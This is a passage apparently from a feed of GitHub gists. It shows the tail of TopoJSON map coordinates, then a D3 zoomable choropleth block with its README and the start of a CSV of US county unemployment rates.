4],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/f41c371da87a76c88b768c67e382e3ad">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/a9012e6300d13ec5249b8f5827430505</link>
      <guid isPermaLink="true">https://gist.github.com/a9012e6300d13ec5249b8f5827430505</guid>
      <pubDate>Tue, 20 Sep 2016 21:39:24 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T15:37:54.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>2557</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>5553</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
